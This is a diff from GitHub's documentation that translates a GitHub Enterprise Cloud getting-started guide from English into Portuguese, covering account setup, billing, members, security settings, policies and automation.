-To use an organization account with {% data variables.product.prodname_ghe_cloud %}, you will first need to create an organization. When prompted to choose a plan, select "Enterprise". For more information, see "[Creating a new organization from scratch](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)."
+Para usar a conta de uma organização com {% data variables.product.prodname_ghe_cloud %}, primeiro você precisará criar uma organização. Quando solicitado para escolher um plano, selecione "Enterprise". Para obter mais informações, consulte "[Criar uma nova organização do zero](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)".
 
-Alternatively, if you have an existing organization account that you would like to upgrade, follow the steps in "[Upgrading your {% data variables.product.prodname_dotcom %} subscription](/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription#upgrading-your-organizations-subscription)."
-#### 3. Setting up and managing billing
+Como alternativa, se você tiver a conta de uma organização existente que você gostaria de atualizar, siga as etapas em "[atualizando a sua assinatura de {% data variables.product.prodname_dotcom %}](/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription#upgrading-your-organizations-subscription)".
+#### 3. Configuração e gerenciamento de cobrança
 
-When you choose to use an organization account with {% data variables.product.prodname_ghe_cloud %}, you'll first have access to a [30-day trial](/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud). If you don't purchase {% data variables.product.prodname_enterprise %} or {% data variables.product.prodname_team %} before your trial ends, your organization will be downgraded to {% data variables.product.prodname_free_user %} and lose access to any advanced tooling and features that are only included with paid products. For more information, see "[Finishing your trial](/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud#finishing-your-trial)."
+Ao optar por usar uma conta de organização com {% data variables.product.prodname_ghe_cloud %}, primeiro você terá acesso a um [](/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud)de teste de 30 dias. Se você não comprar {% data variables.product.prodname_enterprise %} ou {% data variables.product.prodname_team %} antes do seu período de teste terminar, a sua organização será rebaixada para {% data variables.product.prodname_free_user %} e você perderá acesso a quaisquer ferramentas avançadas e recursos que sejam incluídos apenas com produtos pagos. Para obter mais informações, consulte "[Concluindo o seu teste](/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud#finishing-your-trial)".
 
-Your organization's billing settings page allows you to manage settings like your payment method and billing cycle, view information about your subscription, and upgrade your storage and {% data variables.product.prodname_actions %} minutes. For more information on managing your billing settings, see "[Managing your {% data variables.product.prodname_dotcom %} billing settings](/billing/managing-your-github-billing-settings)."
+A página de configurações de cobrança da sua organização permite que você gerencie configurações como seu método de pagamento e ciclo de cobrança, exiba informações sobre sua assinatura e faça a atualização do seu armazenamento e minutos de {% data variables.product.prodname_actions %}. Para obter mais informações sobre como gerenciar suas configurações de cobrança, consulte "[Gerenciando suas configurações de cobrança de {% data variables.product.prodname_dotcom %}](/billing/managing-your-github-billing-settings)".
 
-Only organization members with the *owner* or *billing manager* role can access or change billing settings for your organization. A billing manager is a user who manages the billing settings for your organization and does not use a paid license in your organization's subscription. For more information on adding a billing manager to your organization, see "[Adding a billing manager to your organization](/organizations/managing-peoples-access-to-your-organization-with-roles/adding-a-billing-manager-to-your-organization)."
+Apenas os integrantes da organização com a função de *proprietário* ou *gerente de cobrança* podem acessar ou alterar as configurações de cobrança da sua organização. Um gerente de cobrança é um usuário que gerencia as configurações de cobrança para sua organização e não usa uma licença paga na assinatura da sua organização. Para obter mais informações sobre como adicionar um gerente de cobrança à sua organização, consulte "[Adicionando um gerente de cobrança à sua organização](/organizations/managing-peoples-access-to-your-organization-with-roles/adding-a-billing-manager-to-your-organization)".
 
-### Setting up an enterprise account with {% data variables.product.prodname_ghe_cloud %}
+### Configurando uma conta corporativa com {% data variables.product.prodname_ghe_cloud %}
  {% note %}
 
-To get an enterprise account created for you, contact [{% data variables.product.prodname_dotcom %}'s Sales team](https://enterprise.github.com/contact).
+Para obter uma conta corporativa criada para você, entre em contato com [a equipe de vendas de {% data variables.product.prodname_dotcom %}](https://enterprise.github.com/contact).
 
  {% endnote %}
 
-#### 1. About enterprise accounts
+#### 1. Sobre contas corporativas
 
-An enterprise account allows you to centrally manage policy and settings for multiple {% data variables.product.prodname_dotcom %} organizations, including member access, billing and usage and security. For more information, see "[About enterprise accounts](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts)."
-#### 2. Adding organizations to your enterprise account
+Uma conta corporativa permite que você gerencie centralmente as políticas e configurações para várias organizações {% data variables.product.prodname_dotcom %}, incluindo acesso de integrantes, cobrança e uso e segurança. Para obter mais informações, consulte "[Sobre contas corporativas](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts)".
+#### 2. Adicionar organizações à suas conta corporativa
 
-You can create new organizations to manage within your enterprise account. For more information, see "[Adding organizations to your enterprise](/enterprise-cloud@latest/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise)."
+É possível criar novas organizações para serem gerenciadas em sua conta corporativa. Para obter mais informações, consulte "[Adicionando organizações à sua empresa](/enterprise-cloud@latest/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise)".
 
-Contact your {% data variables.product.prodname_dotcom %} sales account representative if you want to transfer an existing organization to your enterprise account.
-#### 3. Viewing the subscription and usage for your enterprise account
-You can view your current subscription, license usage, invoices, payment history, and other billing information for your enterprise account at any time. Both enterprise owners and billing managers can access and manage billing settings for enterprise accounts. For more information, see  "[Viewing the subscription and usage for your enterprise account](/enterprise-cloud@latest/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account)."
+Entre em contato com o seu representante da conta de vendas de {% data variables.product.prodname_dotcom %} se você quiser transferir uma organização existente para a sua conta corporativa.
+#### 3. Exibir assinatura e uso da conta corporativa
+Você pode visualizar a sua assinatura atual, uso da licença, faturas, histórico de pagamentos e outras informações de cobrança para sua conta corporativa a qualquer momento. Os proprietários da empresa e os gerentes de cobrança podem acessar e gerenciar as configurações de cobrança para contas corporativas. Para obter mais informações, consulte "[Exibir a assinatura e o uso de sua conta corporativa](/enterprise-cloud@latest/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account)".
 
-## Part 3: Managing your organization or enterprise members and teams with {% data variables.product.prodname_ghe_cloud %}
+## Parte 3: Gerenciando seus integrantes e equipes da empresa com {% data variables.product.prodname_ghe_cloud %}
 
-### Managing members and teams in your organization
-You can set permissions and member roles, create and manage teams, and give people access to repositories in your organization. 
-#### 1. Managing members of your organization
+### Gerenciando integrantes e equipes na sua organização
+Você pode definir permissões e funções dos integrantes, criar e gerenciar equipes e conceder acesso a repositórios na sua organização.
+#### 1. Gerenciando integrantes da sua organização
 {% data reusables.getting-started.managing-org-members %}
-#### 2. Organization permissions and roles
+#### 2. Permissões e funções da organização
 {% data reusables.getting-started.org-permissions-and-roles %}
-#### 3. About and creating teams
+#### 3. Sobre e criar equipes
 {% data reusables.getting-started.about-and-creating-teams %}
-#### 4. Managing team settings
+#### 4. Gerenciando as configurações de equipe
 {% data reusables.getting-started.managing-team-settings %}
-#### 5. Giving people and teams access to repositories, project boards and apps
+#### 5. Dar às pessoas e equipes acesso a repositórios, seções de projetos e aplicativos
 {% data reusables.getting-started.giving-access-to-repositories-projects-apps %}
 
-### Managing members of an enterprise account
-Managing members of an enterprise is separate from managing members or teams in an organization. It is important to note that enterprise owners or administrators cannot access organization-level settings or manage members for organizations in their enterprise unless they are made an organization owner. For more information, see the above section, "[Managing members and teams in your organization](#managing-members-and-teams-in-your-organization)."
+### Gerenciando integrantes de uma conta corporativa
+O gerenciamento dos integrantes de uma empresa é separado da gestão dos integrantes ou equipes em uma organização. É importante notar que os proprietários ou administradores da empresa não podem acessar as configurações a nível da organização ou gerenciar integrantes de organizações na sua empresa, a não ser que sejam proprietários de uma organização. Para obter mais informações, consulte a seção acima, "[Gerenciar integrantes e equipes da sua organização](#managing-members-and-teams-in-your-organization)".
 
-If your enterprise uses {% data variables.product.prodname_emus %}, your members are fully managed through your identity provider. Adding members, making changes to their membership, and assigning roles is all managed using your IdP. For more information, see "[About {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)."
+Se sua empresa usar {% data variables.product.prodname_emus %}, seus integrantes serão totalmente gerenciados por meio de seu provedor de identidade. As funções de adicionar integrantes, fazer alterações na sua associação e atribuir cargos são geranciadas usando seu IdP. Para obter mais informações, consulte "[Sobre {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)."
 
-If your enterprise does not use {% data variables.product.prodname_emus %}, follow the steps below.
+Se a sua empresa não usar {% data variables.product.prodname_emus %}, siga as etapas abaixo.
 
-#### 1. Assigning roles in an enterprise
-By default, everyone in an enterprise is a member of the enterprise. There are also administrative roles, including enterprise owner and billing manager, that have different levels of access to enterprise settings and data. For more information, see "[Roles in an enterprise](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)."
-#### 2. Inviting people to manage your enterprise
-You can invite people to manage your enterprise as enterprise owners or billing managers, as well as remove those who no longer need access. For more information, see "[Inviting people to manage your enterprise](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise)."
+#### 1. Atribuindo funções em uma empresa
+Por padrão, todas as pessoas em uma empresa são integrantes da empresa. Além disso, há funções administrativas, que incluem o proprietário da empresa e o gerente de cobrança, que têm diferentes níveis de acesso às configurações e dados da empresa. Para obter mais informações, consulte "[Funções em uma empresa](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)".
+#### 2. Convidar pessoas para gerenciar sua empresa
+Você pode convidar pessoas para gerenciar a sua empresa como, por exemplo, proprietários corporativos ou gerentes de cobrança, bem como remover aqueles que não precisam mais de acesso. Para obter mais informações, consulte[Convidando pessoas para gerenciar a sua empresa](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise)".
 
-You can also grant enterprise members the ability to manage support tickets in the support portal. For more information, see "[Managing support entitlements for your enterprise](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise)."
-#### 3. Viewing people in your enterprise
-To audit access to enterprise-owned resources or user license usage, you can view every enterprise administrator, enterprise member, and outside collaborator in your enterprise. You can see the organizations that a member belongs to and the specific repositories that an outside collaborator has access to. For more information, see "[Viewing people in your enterprise](/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise)."
+Você também pode conceder aos integrandes da empresa a capacidade de gerenciar tíquetes de suporte no portal de suporte. Para obter mais informações, consulte "[Gerenciar direitos de suporte para a sua empresa](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise)".
+#### 3. Visualizar pessoas na sua empresa
+Para auditoria ao acesso a recursos pertencentes à empresa ou ao uso da licença de usuário, você pode ver todos os administradores corporativos, integrantes da empresa e colaboradores externos da sua empresa. Você pode ver as organizações às quais um integrante pertence e os repositórios específicos aos quais um colaborador externo tem acesso. Para obter mais informações, consulte "[Visualizar pessoas na sua empresa](/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise)".
 
-## Part 4: Managing security with {% data variables.product.prodname_ghe_cloud %}
+## Parte 4: Gerenciando a segurança com {% data variables.product.prodname_ghe_cloud %}
 
-* [Managing security for a single organization](#managing-security-for-a-single-organization)
-* [Managing security for an {% data variables.product.prodname_emu_enterprise %}](#managing-security-for-an-enterprise-with-managed-users)
-* [Managing security for an enterprise account without {% data variables.product.prodname_managed_users %}](#managing-security-for-an-enterprise-account-without-managed-users)
+* [Gerenciando a segurança de uma única organização](#managing-security-for-a-single-organization)
+* [Gerenciando a segurança de {% data variables.product.prodname_emu_enterprise %}](#managing-security-for-an-enterprise-with-managed-users)
+* [Gerenciando a segurança de uma conta corporativa sem {% data variables.product.prodname_managed_users %}](#managing-security-for-an-enterprise-account-without-managed-users)
 
-### Managing security for a single organization
-You can help keep your organization secure by requiring two-factor authentication, configuring security features, reviewing your organization's audit log and integrations, and enabling SAML single sign-on and team synchronization.
-#### 1. Requiring two-factor authentication
+### Gerenciando a segurança de uma única organização
+Você pode ajudar a manter sua organização segura exigindo autenticação de dois fatores, configurando recursos de segurança, revisando o log de auditoria e as integrações da sua organização e habilitando a sincronização de equipe e logon único SAML.
+#### 1. Exigindo a autenticação de dois fatores
 {% data reusables.getting-started.requiring-2fa %}
-#### 2. Configuring security features for your organization
+#### 2. Configurando recursos de segurança para a sua organização
 {% data reusables.getting-started.configuring-security-features %}
 
-#### 3. Reviewing your organization's audit log and integrations
+#### 3. Revisando o log de auditoria e as integrações da sua organização
 {% data reusables.getting-started.reviewing-org-audit-log-and-integrations %}
 
-#### 4. Enabling and enforcing SAML single sign-on for your organization
-If you manage your applications and the identities of your organization members with an identity provider (IdP), you can configure SAML single-sign-on (SSO) to control and secure access to organization resources like repositories, issues and pull requests. When members of your organization access organization resources that use SAML SSO, {% data variables.product.prodname_dotcom %} will redirect them to your IdP to authenticate. For more information, see "[About identity and access management with SAML single sign-on](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on)."
+#### 4. Habilitando e aplicando o logon único SAML para a sua organização
+Se você gerenciar seus aplicativos e as identidades dos integrantes da sua organização com um provedor de identidade (IdP), você poderá configurar logon único SAML (SSO) para controlar e proteger o acesso aos recursos da organização, como repositórios, problemas e pull requests. Quando os integrantes da sua organização acessam os recursos da organização que usam o SAML SSO, {% data variables.product.prodname_dotcom %} irá redirecioná-los para o seu dispositivo para autenticação. Para obter mais informações, consulte "[Sobre identidade e gerenciamento de acesso com o logon único SAML](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on)".
 
-Organization owners can choose to disable, enable but not enforce, or enable and enforce SAML SSO. For more information, see "[Enabling and testing SAML single sign-on for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization)" and "[Enforcing SAML single sign-on for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization)."
-#### 5. Managing team synchronization for your organization
-Organization owners can enable team synchronization between your identity provider (IdP) and {% data variables.product.prodname_dotcom %} to allow organization owners and team maintainers to connect teams in your organization with IdP groups. For more information, see "[Managing team synchronization for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization)."
+Os proprietários da organização podem optar por habilitar e desabilitar, mas não implementar, habilitar e aplicar o SAML SSO. Para obter mais informações, consulte "[Habilitando e testando o login único SAML para a sua organização](/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization)" e "[Aplicando o login único SAML paraa sua organização](/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization)."
+#### 5. Gerenciar a sincronização de equipe para a sua organização
+Os proprietários da organização podem habilitar a sincronização de equipes entre o seu provedor de identidade (IdP) e {% data variables.product.prodname_dotcom %} para permitir que os proprietários da organização e mantenedores de equipes conectem equipes na sua organização aos grupos do IdP. Para obter mais informações, consulte "[Gerenciar a sincronização de equipe para a sua organização](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization)".
 
-### Managing security for an {% data variables.product.prodname_emu_enterprise %}
+### Gerenciando a segurança de {% data variables.product.prodname_emu_enterprise %}
 
-With {% data variables.product.prodname_emus %}, access and identity is managed centrally through your identity provider. Two-factor authentication and other login requirements should be enabled and enforced on your IdP. 
+Com {% data variables.product.prodname_emus %}, o acesso e a identidade são gerenciados centralmente por meio do seu provedor de identidade. A autenticação de dois fatores e outros requisitos de login devem ser habilitados e aplicados no seu IdP.
 
-#### 1. Enabling and SAML single sign-on and provisioning in your {% data variables.product.prodname_emu_enterprise %}
+#### 1. Habilitando e o provisionamento de um logon único SAML no seu {% data variables.product.prodname_emu_enterprise %}
 
-In an {% data variables.product.prodname_emu_enterprise %}, all members are provisioned and managed by your identity provider. You must enable SAML SSO and SCIM provisioning before you can start using your enterprise. For more information on configuring SAML SSO and provisioning for an {% data variables.product.prodname_emu_enterprise %}, see "[Configuring SAML single sign-on for Enterprise Managed Users](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/configuring-saml-single-sign-on-for-enterprise-managed-users)."
+Em um {% data variables.product.prodname_emu_enterprise %}, todos os integrantes são provisionados e gerenciados pelo seu provedor de identidade. Você deve habilitar o provisionamento SAML SSO e SCIM antes de começar a usar a sua empresa. Para mais informações sobre a configuração do SAML SSO e provisionamento para um {% data variables.product.prodname_emu_enterprise %}, consulte "[Configurando o logon único SAML para usuários gerenciados pela empresa](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/configuring-saml-single-sign-on-for-enterprise-managed-users)."
 
-#### 2. Managing teams in your {% data variables.product.prodname_emu_enterprise %} with your identity provider
+#### 2. Gerenciando equipes no seu {% data variables.product.prodname_emu_enterprise %} com o seu provedor de identidade
 
-You can connect teams in your organizations to security groups in your identity provider, managing membership of your teams and access to repositories through your IdP. For more information, see "[Managing team memberships with identity provider groups](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/managing-team-memberships-with-identity-provider-groups)."
+Você pode conectar as equipes das suas organizações a grupos de segurança do seu provedor de identidade, gerenciar integrantes das suas equipes e acesso aos repositórios por meio do seu IdP. Para obter mais informações, consulte "[Gerenciar associações de equipe com grupos de provedor de identidade](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/managing-team-memberships-with-identity-provider-groups)".
 
-#### 3. Managing allowed IP addresses for organizations in your {% data variables.product.prodname_emu_enterprise %}
+#### 3. Gerenciar endereços IP permitidos para organizações no seu {% data variables.product.prodname_emu_enterprise %}
 
-You can configure an allow list for specific IP addresses to restrict access to assets owned by organizations in your {% data variables.product.prodname_emu_enterprise %}. For more information, see "[Enforcing policies for security settings in your enterprise](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-allowed-ip-addresses-for-organizations-in-your-enterprise)."
+Você pode configurar uma lista de permissões para endereços IP específicos para restringir o acesso a ativos pertencentes a organizações no seu {% data variables.product.prodname_emu_enterprise %}. Para obter mais informações, consulte "[Aplicando políticas de segurança na sua empresa](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-allowed-ip-addresses-for-organizations-in-your-enterprise)".
 
-#### 4. Enforcing policies for Advanced Security features in your {% data variables.product.prodname_emu_enterprise %}
+#### 4. Aplicando políticas de segurança avançada no seu {% data variables.product.prodname_emu_enterprise %}
 {% data reusables.getting-started.enterprise-advanced-security %}
 
-### Managing security for an enterprise account without {% data variables.product.prodname_managed_users %}
-To manage security for your enterprise, you can require two-factor authentication, manage allowed IP addresses, enable SAML single sign-on and team synchronization at an enterprise level, and sign up for and enforce GitHub Advanced Security features. 
+### Gerenciando a segurança de uma conta corporativa sem {% data variables.product.prodname_managed_users %}
+Para gerenciar a segurança da sua empresa, você pode exigir autenticação de dois fatores, gerenciar endereços IP permitidos, habilitar o logon único SAML e a sincronização de equipes no nível corporativo e inscrever-se aplicar as funcionalidades do GitHub Advanced Security.
 
-#### 1. Requiring two-factor authentication and managing allowed IP addresses for organizations in your enterprise account
-Enterprise owners can require that organization members, billing managers, and outside collaborators in all organizations owned by an enterprise account use two-factor authentication to secure their personal accounts. Before doing so, we recommend notifying all who have access to organizations in your enterprise. You can also configure an allow list for specific IP addresses to restrict access to assets owned by organizations in your enterprise account. 
+#### 1. Exigir autenticação de dois fatores e gerenciar endereços IP permitidos para organizações na conta corporativa
+Os proprietários corporativos podem exigir que integrantes da organização, gerentes de cobrança e colaboradores externos em todas as organizações pertencentes a uma conta corporativa usem autenticação de dois fatores para proteger suas contas pessoais. Antes de fazer isso, recomendamos que você notifique todas as pessoas que têm acesso a organizações da sua empresa. Você também pode configurar uma lista de permissões para endereços IP específicos para restringir o acesso a ativos pertencentes a organizações na sua conta corporativa.
 
-For more information on enforcing two-factor authentication and allowed IP address lists, see "[Enforcing policies for security settings in your enterprise](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise)."
-#### 2. Enabling and enforcing SAML single sign-on for organizations in your enterprise account
-You can centrally manage access to your enterprise's resources, organization membership and team membership using your IdP and SAM single sign-on (SSO). Enterprise owners can enable SAML SSO across all organizations owned by an enterprise account. For more information, see "[About identity and access management for your enterprise](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/about-identity-and-access-management-for-your-enterprise)."
+Para obter mais informações sobre a aplicação da autenticação de dois fatores e listas de endereços IP permitidas, consulte "[Aplicando políticas para as configurações de segurança na sua conta empresa](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise)".
+#### 2. Habilitar e aplicar o login único SAML para organizações na sua conta corporativa
+Você pode gerenciar centralmente o acesso aos recursos da sua empresa, a associação à organização e a associação à equipe usando seu IdP e o logon único SAML (SSO). Os proprietários corporativos podem habilitar o SAML SSO em todas as organizações pertencentes a uma conta corporativa. Para obter mais informações, consulte "[Sobre identidade e gerenciamento de acesso para sua empresa](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/about-identity-and-access-management-for-your-enterprise)".
 
-#### 3. Managing team synchronization
-You can enable and manage team synchronization between an identity provider (IdP) and {% data variables.product.prodname_dotcom %} to allow organizations owned by your enterprise account to manage team membership with IdP groups. For more information, see "[Managing team synchronization for organizations in your enterprise account](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise)."
+#### 3. Gerenciando a sincronização de equipe
+Você pode habilitar e gerenciar a simulação de equipes entre um provedor de identidade (IdP) e {% data variables.product.prodname_dotcom %} para permitir que as organizações pertencentes à sua conta corporativa gerenciem a associação de equipes com grupos IdP. Para obter mais informações, consulte "[Gerenciar a sincronização de equipes para organizações na sua conta corporativa](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise)".
 
-#### 4. Enforcing policies for Advanced Security features in your enterprise account
+#### 4. Aplicando políticas de segurança avançada na sua conta corporativa
 {% data reusables.getting-started.enterprise-advanced-security %}
 
-## Part 5: Managing organization and enterprise level policies and settings
+## Parte 5: Gerenciar políticas e configurações da organização e do nível empresarial
 
-### Managing settings for a single organization
-To manage and moderate your organization, you can set organization policies, manage permissions for repository changes, and use organization-level community health files.
-#### 1. Managing organization policies
+### Gerenciando configurações para uma única organização
+Para gerenciar e moderar sua organização, você pode definir políticas da organização, gerenciar permissões para alterações de repositórios e usar arquivos de saúde da comunidade no nível da organização.
+#### 1. Gerenciando as políticas da organização
 {% data reusables.getting-started.managing-org-policies %}
-#### 2. Managing repository changes
+#### 2. Gerenciando alterações de repositório
 {% data reusables.getting-started.managing-repo-changes %}
-#### 3. Using organization-level community health files and moderation tools
+#### 3. Usando arquivos de saúde da comunidade no nível da organização e as ferramentas de moderação
 {% data reusables.getting-started.using-org-community-files-and-moderation-tools %}
 
-### Managing settings for an enterprise account
-To manage and moderate your enterprise, you can set policies for organizations within the enterprise, view audit logs, configure webhooks, and restrict email notifications.
-#### 1. Managing policies for organizations in your enterprise account
+### Gerenciando as configurações para uma conta corporativa
+Para gerenciar e moderar sua empresa, você pode definir políticas para organizações dentro da empresa, visualizar logs de auditoria, configurar webhooks e restringir notificações de e-mail.
+#### 1. Gerenciar políticas para organizações na sua conta corporativa
 
-You can choose to enforce a number of policies for all organizations owned by your enterprise, or choose to allow these policies to be set in each organization. Types of policies you can enforce include repository management, project board, and team policies. For more information, see "[Setting policies for your enterprise](/enterprise-cloud@latest/admin/policies)."
-#### 2. Viewing audit logs, configuring webhooks, and restricting email notifications for your enterprise
-You can view actions from all of the organizations owned by your enterprise account in the enterprise audit log. You can also configure webhooks to receive events from organizations owned by your enterprise account. For more information, see "[Viewing the audit logs for organizations in your enterprise](/enterprise-cloud@latest/admin/user-management/managing-organizations-in-your-enterprise/viewing-the-audit-logs-for-organizations-in-your-enterprise)" and "[Managing global webhooks](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/managing-global-webhooks)."
+Você pode optar por aplicar várias políticas para todas as organizações pertencentes à sua empresa, ou escolher permitir que essas políticas sejam definidas em cada organização. Os tipos de políticas que você pode aplicar incluem gerenciamento de repositórios, quadro de projetos e políticas de equipe. Para obter mais informações, consulte "[Definindo políticas para a sua empresa](/enterprise-cloud@latest/admin/policies)".
+#### 2. Visualizando logs de auditoria, configurando webhooks, e restringindo notificações de e-mail para a sua empresa
+Você pode visualizar as ações de todas as organizações pertencentes à sua conta corporativa no log de auditoria da empresa. Você também pode configurar webhooks para receber eventos de organizações pertencentes à sua conta corporativa. Para obter mais informações, consulte "[Visualizando os logs de auditoria para organizações na sua empresa](/enterprise-cloud@latest/admin/user-management/managing-organizations-in-your-enterprise/viewing-the-audit-logs-for-organizations-in-your-enterprise)" e "[Gerenciando webhooks globais](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/managing-global-webhooks)".
 
-You can also restrict email notifications for your enterprise account so that enterprise members can only use an email address in a verified or approved domain to receive notifications. For more information, see "[Restricting email notifications for your enterprise](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise)."
+Você também pode restringir as notificações de e-mail da conta corporativa para que os integrantes da empresa só possam usar um endereço de e-mail em um domínio verificado ou aprovado para receber notificações. Para obter mais informações, consulte "[Restringindo notificações de e-mail para a sua empresa](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise)".
 
-## Part 6: Customizing and automating your organization or enterprise's work on {% data variables.product.prodname_dotcom %}
-Members of your organization or enterprise can use tools from the {% data variables.product.prodname_marketplace %}, the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, and existing {% data variables.product.product_name %} features to customize and automate your work.
+## Parte 6: Personalizar e automatizar o trabalho da sua organização ou empresa em {% data variables.product.prodname_dotcom %}
+Os integrantes da sua organização ou empresa podem usar ferramentas a partir da API de {% data variables.product.prodname_marketplace %}, a {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} e das funcionalidades de {% data variables.product.product_name %} existentes para personalizar e automatizar seu trabalho.
 
-### 1. Using {% data variables.product.prodname_marketplace %}
+### 1. Usar {% data variables.product.prodname_marketplace %}
 {% data reusables.getting-started.marketplace %}
-### 2. Using the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API
+### 2. Usando a API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}
 {% data reusables.getting-started.api %}
-### 3. Building {% data variables.product.prodname_actions %}
+### 3. Criando {% data variables.product.prodname_actions %}
 {% data reusables.getting-started.actions %}
-### 4. Publishing and managing {% data variables.product.prodname_registry %} 
+### 4. Publicando e gerenciando {% data variables.product.prodname_registry %}
 {% data reusables.getting-started.packages %}
-### 5. Using {% data variables.product.prodname_pages %}
-{% data variables.product.prodname_pages %} is a static site hosting service that takes HTML, CSS, and JavaScript files straight from a repository and publishes a website. You can manage the publication of {% data variables.product.prodname_pages %} sites at the organization level. For more information, see  "[Managing the publication of {% data variables.product.prodname_pages %} sites for your organization](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)" and "[About {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages)."
-## Part 7: Participating in {% data variables.product.prodname_dotcom %}'s community
+### 5. Usar {% data variables.product.prodname_pages %}
+{% data variables.product.prodname_pages %} is a static site hosting service that takes HTML, CSS, and JavaScript files straight from a repository and publishes a website. Você pode gerenciar a publicação de sites de {% data variables.product.prodname_pages %} no nível da organização. Para obter mais informações, consulte "[Gerenciando a publicação de sites de {% data variables.product.prodname_pages %} para a sua organização](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)" e "[Sobre {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages)".
+## Parte 7: Participando da comunidade de {% data variables.product.prodname_dotcom %}
 
-Members of your organization or enterprise can use GitHub's learning and support resources to get the help they need. You can also support the open source community. 
+Os integrantes da sua organização ou empresa podem usar os recursos de aprendizado e suporte do GitHub para obter a ajuda de que precisam. Você também pode apoiar a comunidade de código aberto.
 
-### 1. Reading about {% data variables.product.prodname_ghe_cloud %} on {% data variables.product.prodname_docs %}
-You can read documentation that reflects the features available with {% data variables.product.prodname_ghe_cloud %}. For more information, see "[About versions of {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs)."
+### 1. Lendo sobre {% data variables.product.prodname_ghe_cloud %} em {% data variables.product.prodname_docs %}
+Você pode ler a documentação que reflete as funcionalidades disponíveis com {% data variables.product.prodname_ghe_cloud %}. Para obter mais informações, consulte "[Sobre as versões do {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs)."
 
-### 2. Learning with {% data variables.product.prodname_learning %}
-Members of your organization or enterprise can learn new skills by completing fun, realistic projects in your very own GitHub repository with [{% data variables.product.prodname_learning %}](https://lab.github.com/). Each course is a hands-on lesson created by the GitHub community and taught by the friendly Learning Lab bot.
+### 2. Aprendendo com {% data variables.product.prodname_learning %}
